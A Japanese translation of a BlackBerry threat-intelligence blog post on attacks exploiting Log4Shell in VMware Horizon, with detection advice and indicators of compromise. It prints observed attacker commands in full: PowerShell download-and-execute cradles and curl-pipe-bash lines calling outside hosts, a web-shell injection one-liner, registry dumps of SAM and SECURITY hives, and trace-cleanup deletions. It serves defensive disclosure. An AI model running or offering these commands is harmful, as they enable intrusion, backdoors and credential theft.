ナビゲーションをスキップする
BlackBerry ブログ

Log4j の脆弱性、Log4Shellに関する侵入の痕跡 (IoC) を詳しく解説

本ブログ記事は、2022年1月26日に米国で公開されたBlackBerryのブログ記事の抄訳版です。原文はこちらからご覧頂けます。

 

BlackBerry の Research & Intelligence チームとインシデント対応(IR)チームは、初期アクセスブローカー(IAB)グループ「Prophet Spider」による攻撃と、VMware Horizon における Log4j の脆弱性を悪用した攻撃(エクスプロイト)を関連づける証拠を発見しました。この記事では、BlackBerry が確認した最新の侵入の痕跡(IOC)を紹介します。

組織がこれらの攻撃を受けたのではないかと懸念される場合、ここで紹介する IOC と検知手法を活用することで、環境内の侵害の証拠を特定できます。

 

Log4Shell の概要

Log4Shell」は、Apache Log4j に発見されたリモートコード実行(RCE)の脆弱性(CVE-2021-44228CVE-2021-45046CVE-2021-44832)の組み合わせを指す名称です。Log4j は Java ベースのログ記録フレームワークであり、世界中の Apache Web サーバーに組み込まれています。また、VMware を含む多くのアプリケーションでも使用されており、しかもエクスプロイトの深刻度が高いため、セキュリティチームはこの新たな攻撃経路の悪用が蔓延する中、絶えず懸命の努力を続けています。

これらの脆弱性の影響を受けるアプリケーション(および個々のバージョン)の正確な数は、完全には把握できない可能性があります。VMware 社はこの脆弱性に対応するパッチと緩和策の指針を 2021 年 12 月に公開していますが、多くの実装はまだパッチが適用されておらず、今も悪用される可能性があります

 

初期検知

BlackBerry では、ws_TomcatService.exe を親プロセスとする子プロセスを監視することで、このエクスプロイトを確実に検知できることを確認しています。このプロセスは VMware Horizon が使用する Tomcat サービスに他なりません。今回確認したすべての事例では、悪用された ws_TomcatService.exe のプロセスが cmd.exe と powershell.exe のいずれかを子プロセスとして生成していました。

図 1:親プロセスと子プロセスの関係

 

エクスプロイト後の活動

脆弱性の悪用に成功すると、脅威アクターは通常、エンコードされた PowerShell コマンドを使用して、第 2 段階のペイロードを被害者のシステムにダウンロードしていました。このペイロードの詳細は攻撃者の動機や目的によって異なり、たとえば暗号資産のマイニングや、ランサムウェアによる脅迫を行うために使用されます。

BlackBerry では、脅威アクターが暗号資産のマイニングソフトウェアを被害システムにインストールしている様子を主に確認してきましたが、場合によっては Cobalt Strike Beacon も使用されていました。

エンコードの例

cmd /C "powershell -NonI -W Hidden -NoP -Exec Bypass -Enc <Base64 Encoded Command>

powershell.exe -Enc <Base64 Encoded Command>


デコード結果のコードは、第 2 段階のペイロードをダウンロードする 2 つの方法のうち 1 つを実行していました。より使用頻度の高い 1 つ目の方法では、PowerShell の System.Net.Webclient クラスに含まれる DownloadString、DownloadData、または DownloadFile メソッドが使用されていました。

 

典型的なダウンロードクレードル

IEX (New-Object Net.WebClient).DownloadString(‘<URL>’)

 

もう 1 つの方法の場合、脅威アクターは curl.exe のバイナリファイルを使用し、システムに追加のファイルをダウンロードしようとしていました。そして、Linux 用 Windows サブシステム(WSL)の bash ユーティリティを介して、ダウンロードしたコンテンツの実行を試みていました。

 

curl によるダウンロードの試み

cmd /C "curl <URL> | bash"


BlackBerry では、脅威アクターによるエクスプロイトが成功した後、複数の異なる暗号資産マイナーが展開される様子を確認しています。ある事例では、暗号資産マイナーを含んだスクリプトファイル「xms.ps1」が PowerShell 経由でダウンロードされ、実行されていました。

 

暗号資産マイナーのダウンロードの例

powershell iex(New-Object Net.WebClient).DownloadString('hxxp://80.71.158[.]96/xms.ps1')


続いてこのスクリプトは、永続性を確保するため、およびコマンドアンドコントロール(C2)と暗号資産ウォレットの構成を保存するために、スケジュールタスクを生成していました。

 

スケジュールタスクの生成

"C:\Windows\system32\schtasks.exe" /create /F /sc minute /mo 1 /tn BrowserUpdate /tr
"C:\Windows\system32\config\systemprofile\AppData\Roaming\network02.exe --donate-level 1 -o b.oracleservice[.]top -o 198.23.214[.]117:8080 -o 51.79.175[.]139:8080 -o 167.114.114[.]169:8080 -u 46E9UkTFqALXNh2mSbA7WGDoa2i6h4WVgUgPVdT9ZdtweLRvAhWmbvuY1dhEmfjHbsavKXo3eGf5ZRb4qJzFXLVHGYH4moQ -p x -B"


また別の事例では、英国 National Health Service による警告にあるように、absg-worker.js に Web シェルファイルが注入された後、VMBlastSG サービスの再起動を通じて Web シェルへの接続が許可されていました。Web シェルは検知が困難なバックドアであり、脅威アクターが被害者の環境内でステルス性の高い永続性を維持するために利用されます。

この注入を実現するため、脅威アクターは VMBlastSG サービスのファイルパスを検索し、そのパス内にある NSSM.exe のファイル名を absg-worker.js に変更します。次に、absj-worker.js ファイルの内容を修正し、このファイルがブラウザー経由で呼び出された場合に強制的に子プロセスを生成するようにします。この後 VMBlastSG サービスが再起動されると、Web シェルが利用できる状態になります。

 

Web シェルの生成

powershell -c "$path=gwmi win32_service|?{$_.Name -like """*VMBlastSG*"""}|%{$_.PathName -replace '"""', '' -replace """nssm.exe""","""lib\absg-worker.js"""};$expr="""req.connection.end();}if (String(req.url).includes('lxmvvZ3S4o250Tw22Z9vTao0cJFmkplDoi828cVwQtZVj3eUbb')) {try
{replyError(req, res, 200, require('child_process').execSync(Buffer.from(req.headers['data'], 'base64').toString('ascii')).toString());}catch (err) {replyError(req, res, 400,
err.stderr.toString());}return;""";(Get-Content $path)|ForEach-Object {$_ -replace
"""req.connection.end\(\)\;""", $expr}|Set-Content $path;Restart-Service -Force VMBlastSG"


BlackBerry が確認したいくつかの事例では、脅威アクターは暗号資産マイナーをインストールした後、その痕跡を隠すためにクリーンアップを行っています。



クリーンアップの例

“C:\Windows\system32\cmd.exe" /c del /f /q C:\ProgramData\Oracle\Java\java.exe”

“C:\Windows\System32\Wbem\WMIC.exe" process where "ExecutablePath like 'c:\\windows\\temp\\%'" delete

"C:\Windows\System32\Wbem\WMIC.exe" process where "ExecutablePath like 'C:\\Users\\\\AppData\\Local\\Temp\\%'" delete

"C:\Windows\system32\cmd.exe" /c del /f /q C:\ProgramData\nTNLLnvWzl\pythonhs.exe

"C:\Windows\system32\cmd.exe" /c del /f /q %tmp%\sysupdate.exe

"C:\Windows\System32\Wbem\WMIC.exe" process where "ExecutablePath like 'C:\\Users\\Administrator\\AppData\\Local\\Temp\\%'" delete

"C:\Windows\system32\schtasks.exe" /delete /tn * /F


エクスプロイト後に展開する追加インスタンスとして、脅威アクターは感染済みのシステムに Cobalt Strike Beacon をダウンロードしてインストールしていました。

 

Cobalt Strike のダウンロードクレードル

IEX ((New-Object System.Net.WebClient).DownloadString('hxxp://185.112.83[.]116:8080/drv'))


BlackBerry では、この Cobalt Strike の構成情報のコピーを取得することに成功しています。構成情報からは、Cobalt Strike Beacon が正常に実行されると、Beacon のペイロードを含んだ 32 ビットまたは 64 ビット版の rundll32.exe が生成されることが読み取れたほか、以下の User-Agent 文字列が Beacon の構成としてハードコードされていました。

 

Cobalt Strike Beacon の User-Agent 文字列

Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.1; Trident/4.0; InfoPath.3; .NET CLR 2.0.50727)


Prophet Spider との共通点

BlackBerry では、暗号資産のマイニングソフトウェアと Cobalt Strike Beacon の大量展開に加えて、一部のエクスプロイトに IAB グループ Prophet Spider に関連する戦術、技法、手順(TTP)が含まれていたことも確認しています。この脅威グループは、ネットワークを侵害した後でアクセス権を他のランサムウェアオペレーターに販売することで知られています。類似のグループに Zebra2104 がありますが、これについては最近のブログ記事「3つの脅威グループを繋げる黒幕、初期アクセスブローカー(IAB)を発見:マルウェアの群れをかくまう Zebra2104」で解説しています。

今回のイベントを Prophet Spider の脅威グループに帰するきっかけとなった痕跡の 1 つは、悪意のあるファイルを保存するフォルダパスに C:\Windows\Temp\7fde\ が使われていたことです。また、wget.bin の実行可能ファイルのコピーがダウンロードされていますが、これは従来、同グループが感染済みのホストで追加のファイルを用意するために使用してきたものです。さらに、ダウンロードクレードルに見られる IP アドレスも、過去に Prophet Spider のグループが使用していたとされているものです。

 

wget.bin のダウンロード

powershell -Command (New-Object
System.Net.WebClient).DownloadFile('hxxp://149.28.200[.]140:443/wget.bin','C:\Windows\temp\wget.bin')


wget.bin の実行可能ファイルをダウンロードした後、脅威アクターはこのファイルを使用し、ve.bin と winntaa.exe という 2 つの実行可能ファイルをさらにダウンロードしていました。

 

追加のペイロード

wget[.]bin  -t 1 hxxp://149.28.200[.]140:443/ve.bin
wget[.]bin  -t 1 hxxp://149.28.200[.]140:443/winntaa.exe -O c:\windows\temp\winntaa.exe


続いて、ネットワークとドメインに関する基本情報を列挙し始めていました。

 

列挙

systeminfo
tasklist
ipconfig /all
quser
net user
net group "Domain Admins" /domain
net user Administrator
nltest /domain_trusts
 


そして最後に、レジストリから認証情報を取得しようとしていました。

 

認証情報の取得

reg save hklm\sam c:\windows\temp\7fde\sam
reg save hklm\system c:\windows\temp\7fde\system
reg save hklm\security c:\windows\temp\7fde\security

 


緩和策

BlackBerry のグローバルサービステクニカルオペレーション担当副社長の Tony Lee は、次のように述べています。「身代金の支払い能力のある組織や、暗号資産のマイニングファームに匹敵する計算力を持つ組織は、攻撃の標的となる可能性があります(引用者注:つまり、ほぼすべての組織です)。単純に考えれば、他のあらゆる脆弱性と同様に、脆弱性を持つすべての Log4j インスタンスに対してパッチを適用することで緩和は可能です。しかし、事態はそう簡単ではありません。」

Lee は続けます。「堅牢な脆弱性管理プログラムは必須ですが、それが唯一の解決策というわけではありません。24 時間 365 日体制の監視、脅威のインテリジェンスオーバーレイ、脅威ハンティング、AI ベースのエンドポイント保護を含む多層防御は、侵害を迅速に特定して緩和するのに役立ちます。このような攻撃を検知して緩和するのが早ければ早いほど、それに続くランサムウェア攻撃を回避できる可能性が高まります。」

 

まとめ

影響範囲が把握できない可能性のある脆弱性に対し、初期アクセスブローカーのグループが関心を寄せている場合、これは、そのグループが当該の脆弱性の悪用に高い価値を見いだしていることを示しています。IT チームとユーザーが Log4Shell の脆弱性への対応に追われ続ける中、近い将来、この脆弱性の悪用をもくろむ犯罪グループがさらに現れることが予想されます。

BlackBerry の脅威リサーチャーは、情勢の変化と新たな情報の発見状況に応じて、この機に乗じた脅威の防御に役立つインテリジェンスと指針を提供し続けていきます。

 

侵入の痕跡(IOC)

IOC

タイプ

c:\windows\system32\config\systemprofile\mimu\nssm.exe

ファイルパス

c:\windows\system32\config\systemprofile\mimu2\nssm.exe

ファイルパス

 

C:\Windows\system32\config\systemprofile\mimu\xmrig.exe

ファイルパス

 

c:\windows\temp\winntaa.exe

ファイルパス

C:\Windows\temp\wget.bin

ファイルパス

C:\Windows\system32\config\systemprofile\AppData\Roaming\network02.exe

ファイルパス

C:\Windows\TEMP\network02.exe

ファイルパス

hxxp://149.28.200[.]140:443/wget.bin

URL

hxxp://lurchmath[.]org/wordpress-temp/wp-content/plugins/xmrig.zip

URL

 

hxxp://72.46.52[.]135/mad_micky.bat

URL

hxxp://api.rogerscorp[.]org:80

URL

hxxp://80.71.158[.]96/xms.ps1

URL

hxxp://149.28.200[.]140:443/winntaa.exe

URL

hxxp://185.112.83[.]116:8080/drv

URL

hxxp://137.184.17[.]252:443/dd.ps1

URL

hxxp://101.79.1[.]118/2.ps1

URL

hxxp://72.46.52[.]135/kill.bat

URL

kill.bat

ファイル

xms.ps1

ファイル

mad_micky.bat

ファイル

xmrig.zip

ファイル

wget.bin

ファイル

dd.ps1

ファイル

2.ps1

ファイル

absg-worker.js

ファイル

138.68.246[.]18

IP

140.246.171[.]141

IP

149.28.200[.]140:443

IP/ポート

150.158.189[.]96

IP

159.65.48[.]154

IP

167.114.114[.]169:8080

IP/ポート

167.71.13[.]196

IP

170.210.45[.]163

IP

175.6.210[.]66

IP

185.112.83[.]116:8080

IP/ポート

185.220.100[.]240

IP

185.220.100[.]241

IP

185.220.100[.]244

IP

185.220.100[.]251

IP

185.220.100[.]252

IP

185.220.101[.]152

IP

185.220.101[.]158

IP

185.220.101[.]171

IP

185.220.101[.]184

IP

185.220.101[.]188

IP

185.220.101[.]190

IP

185.220.101[.]36

IP

185.220.101[.]53

IP

185.220.102[.]248

IP

185.56.80[.]65

IP

192.160.102[.]170

IP

194.48.199[.]78

IP

198.23.214[.]117:8080

IP/ポート

198.98.56[.]151

IP

216.144.180[.]171

IP

23.129.64[.]218

IP

23.236.146[.]162

IP

45.146.165[.]168

IP

45.154.255[.]147

IP

45.61.146[.]242

IP

5.157.38[.]50

IP

51.222.121[.]180

IP

51.79.175[.]139:8080

IP/ポート

62.102.148[.]68

IP

72.46.52[.]135:80

IP/ポート

79.172.212[.]132

IP

80.71.158[.]96:80

IP/ポート

b.oracleservice[.]top

ドメイン

api.rogerscorp[.]org

ドメイン


デコード後の PowerShell イベント

powershell -c "$path=gwmi win32_service|?{$_.Name -like """*VMBlastSG*"""}|%{$_.PathName -replace
'"""', '' -replace """nssm.exe""","""lib\absg-worker.js"""};$expr="""req.connection.end();}if (String(req.url).includes('lxmvvZ3S4o250Tw22Z9vTao0cJFmkplDoi828cVwQtZVj3eUbb')) {try {replyError(req,
res, 200, require('child_process').execSync(Buffer.from(req.headers['data'],
'base64').toString('ascii')).toString());}catch (err) {replyError(req, res, 400,
err.stderr.toString());}return;""";(Get-Content $path)|ForEach-Object {$_ -replace
"""req.connection.end\(\)\;""", $expr}|Set-Content $path;Restart-Service -Force VMBlastSG"

cmd /c c:\windows\temp\winntaa.exe

powershell -Command (New-Object
System.Net.WebClient).DownloadFile('hxxp://149.28.200[.]140:443/wget.bin','C:\Windows\temp\wget.bin')

cmd /c c:\windows\temp\wget.bin -t 1 hxxp://149.28.200[.]140:443/winntaa.exe -O c:\windows\temp\winntaa.exe

powershell -c curl -uri hxxp://api.rogerscorp[.]org:80 -met POST -Body ([System.Convert]::ToBase64String(([System.Text.Encoding]::ASCII.GetBytes((echo 216.144.180[.]171)))))

iex ((New-Object System.Net.WebClient).DownloadString('hxxp://185.112.83[.]116:8080/drv'))

$wc = New-Object System.Net.WebClient; $tempfile = [System.IO.Path]::GetTempFileName(); $tempfile +=
'.bat'; $wc.DownloadFile('hxxp://72.46.52[.]135/mad_micky.bat', $tempfile); & $tempfile

cmd /C "curl 72.46.52[.]135/dl.sh | bash"

powershell iex(New-Object Net.WebClient).DownloadString('hxxp://80.71.158[.]96/xms.ps1')

powershell -exec bypass -c IEX(New-Object Net.WebClient).DownloadString('hxxp://137.184.17[.]252:443/dd.ps1')

IEX (New-Object Net.WebClient).DownloadString('hxxp://101.79.1[.]118/2.ps1')

$wc = New-Object System.Net.WebClient; $tempfile = [System.IO.Path]::GetTempFileName(); $tempfile +=
'.bat'; $wc.DownloadFile('hxxp://72.46.52[.]135/kill.bat', $tempfile); & $tempfile

powershell iex(New-Object Net.WebClient).DownloadString('hxxp://80.71.158[.]96/xms.ps1')


攻撃を受けた場合

すでに攻撃の被害を受けていると思われる場合は、BlackBerry との既存の関係にかかわらず、当社にご連絡ください

BlackBerry のインシデント対応チームは、ランサムウェアや APT 攻撃の事例など、さまざまなインシデントの対応/封じ込めサービスの運用に専念する、ワールドクラスのコンサルタントで構成されています。
 

 

・お問い合わせ:https://www.blackberry.com/ja/jp/forms/enterprise/contact-us

・イベント/セミナー情報:https://www.blackberry.com/ja/jp/events/jp-events-tradeshows

・BlackBerry Japan:https://www.blackberry.com/ja/jp

Codi Starks

About Codi Starks

Codi Starks は BlackBerry の Senior Professional Services Incident Response Consultant です。